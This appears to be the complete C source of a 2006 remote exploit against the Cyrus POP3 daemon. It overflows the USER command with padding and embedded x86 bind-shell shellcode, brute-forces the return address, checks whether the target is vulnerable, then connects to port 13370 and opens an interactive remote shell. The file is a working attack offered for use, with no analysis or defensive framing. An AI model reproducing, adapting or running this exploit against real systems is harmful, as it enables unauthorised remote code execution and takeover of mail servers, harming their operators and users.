#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/time.h>
#include <unistd.h>
#include <netdb.h>
#include <errno.h>

#define POP3PORT 110
#define BINDPORT 13370

unsigned char shellcode[] =
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"
"\x43\x52\x66\x68\x34\x3a\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"
"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"
"\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"
"\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\x89\xe1\xcd\x80";

int do_connect (char *remotehost, int port)
{
static struct hostent *host;
static struct sockaddr_in addr;
static int done=0;
int s;

if (!inet_aton(remotehost, &addr.sin_addr) && (done != 1))
{
host = gethostbyname(remotehost);
if (!host)
{
perror("gethostbyname() failed");
return -1;
}
addr.sin_addr = *(struct in_addr*)host->h_addr;
}

s = socket(PF_INET, SOCK_STREAM, 0);
if (s == -1)
{
close(s);
perror("socket() failed");
return -1;
}

addr.sin_port = htons(port);
addr.sin_family = AF_INET;

if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) == -1)
{
close(s);
if (port == POP3PORT) perror("connect() failed");
return -1;
}

done=1;
return s;
}

void do_exploit(int sock, unsigned int returnaddr)
{
char nops[360];
char nops2[100];
char exploitbuffer[1024];
char recvbuf[30];

memset(&nops[0], '\0', sizeof(nops));
memset(&nops[0], 'A', 352);
memset(&nops2[0], '\0', sizeof(nops2));
memset(&nops2[0], 'A', 90);

while (1) {
recv(sock, recvbuf, 1, 0);
if ((recvbuf[0] == '\r') || (recvbuf[0] == '\n')) break;
}

sprintf(exploitbuffer, "USER %s%s%s\r\n", nops, shellcode, nops2);

exploitbuffer[strlen(exploitbuffer)-1] = (returnaddr >> 24) & 0xff;
exploitbuffer[strlen(exploitbuffer)-2] = (returnaddr >> 16) & 0xff;
exploitbuffer[strlen(exploitbuffer)-3] = (returnaddr >> 8) & 0xff;
exploitbuffer[strlen(exploitbuffer)-4] = (returnaddr) & 0xff;

send(sock, exploitbuffer, strlen(exploitbuffer), 0);
recv(sock, recvbuf, sizeof(recvbuf)-1, 0);
}

int do_checkvulnerable(int sock) {
char checkbuffer[1024];
char recvbuffer[10];

memset(&checkbuffer[0], '\0', sizeof(checkbuffer)-1);
memset(&checkbuffer[0], 'A', sizeof(checkbuffer)-2);
checkbuffer[0]='U';
checkbuffer[1]='S';
checkbuffer[2]='E';
checkbuffer[3]='R';
checkbuffer[4]=' ';
checkbuffer[sizeof(checkbuffer)-3]='\r';
checkbuffer[sizeof(checkbuffer)-2]='\n';

while (1) {
recv(sock, recvbuffer, 1, 0);
if ((recvbuffer[0] == '\r') || (recvbuffer[0] == '\n')) break;
}

send(sock, checkbuffer, strlen(checkbuffer), 0);

if (recv(sock, recvbuffer, sizeof(recvbuffer)-1, MSG_WAITALL) < 3)
return 0;

return -1;
}

int do_remote_shell(int sockfd)
{
while(1)
{
fd_set fds;
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sockfd,&fds);
if(select(FD_SETSIZE,&fds,NULL,NULL,NULL))
{
int cnt;
char buf[1024];
if(FD_ISSET(0,&fds))
{
if((cnt=read(0,buf,1024))<1)
{
if(errno==EWOULDBLOCK||errno==EAGAIN)
continue;
else
break;
}
write(sockfd,buf,cnt);
}
if(FD_ISSET(sockfd,&fds))
{
if((cnt=read(sockfd,buf,1024))<1)
{
if(errno==EWOULDBLOCK||errno==EAGAIN)
continue;
else
break;
}
write(1,buf,cnt);
}
}
}
}

int main(int argc, char **argv)
{
char remotehost[255];
int s,s2,i;
unsigned int returnaddr;

printf("cyrus pop3d remote exploit [kcope/2006]\n");

if (argc < 3) {
printf("usage: %s <remote host> <brute force start return address>\n", argv[0]);
printf("eg: %s localhost bfffa000\n", argv[0]);
return 1;
}

strcpy(remotehost, argv[1]); //uhoho
if (sscanf(argv[2], "%8x", &returnaddr) == 0) {
printf("Specify valid start return address\n");
return 1;
}

printf("Checking if vulnerable... ");
s=do_connect(remotehost, POP3PORT);
if (do_checkvulnerable(s) == -1) {
close(s);
printf("\ncyrus pop3d seems not to be vulnerable\nno popsubfolders defined at remote host?\n");
return 1;
}
close(s);
printf("SUCCESS!\n");

while (returnaddr < 0xbfffffff) {
returnaddr+=16;

printf("CRACKADDR = %4x\n", returnaddr);
fflush(stdout);
s=do_connect(remotehost, POP3PORT);
if (s==-1)
return 1;

do_exploit(s, returnaddr);
for (i=0;i<2;i++) {
if ((s2=do_connect(remotehost, BINDPORT)) != -1) {
printf("\nALEX,ALEX WE GOT IT!!!\n");
do_remote_shell(s2);
return 0;
}
close(s2);
}

close(s);
}

return 0;
}